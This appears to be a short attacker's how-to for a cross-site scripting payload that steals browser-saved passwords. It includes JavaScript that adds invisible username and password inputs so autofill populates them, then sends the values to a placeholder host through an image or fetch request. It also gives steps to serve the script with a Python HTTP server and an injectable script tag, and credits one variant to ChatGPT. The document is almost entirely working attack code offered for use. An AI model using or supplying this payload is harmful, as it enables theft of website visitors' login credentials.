Hosting method:

1. First create a file name savedpassword.js with the following content: (Changed the original fetch("http://domain/?saveduser=" + u.value + "&savedpass=" + p.value) to new Image().src as it is better)

   let body = document.getElementsByTagName("body")[0];
   var u = document.createElement("input");
   u.type = "text";
   u.style.position = "fixed";
   u.style.opacity = "0";
   var p = document.createElement("input");
   p.type = "password";
   p.style.position = "fixed";
   p.style.opacity = "0";
   body.append(u);
   body.append(p);
   setTimeout(function(){ 
       new Image().src = "http://domain/?saveduser=" + u.value + "&savedpass=" + p.value;
   }, 5000);
   

2. Host the file using Python: python3 -m http.server 80

3. Inject the payload: <script src="http://ownIP/savedpassword.js"></script>

4. Alternative solution by ChatGPT for on submission or moved from input box:

   let body = document.getElementsByTagName("body")[0];
   var u = document.createElement("input");
   u.type = "text";
   u.style.position = "fixed";
   u.style.opacity = "0";
   var p = document.createElement("input");
   p.type = "password";
   p.style.position = "fixed";
   p.style.opacity = "0";
   body.append(u);
   body.append(p);
   function sendData() {
    fetch("http://domain/?saveduser=" + u.value + "&savedpass=" + p.value);
   }
   u.addEventListener("change", sendData);
   p.addEventListener("change", sendData);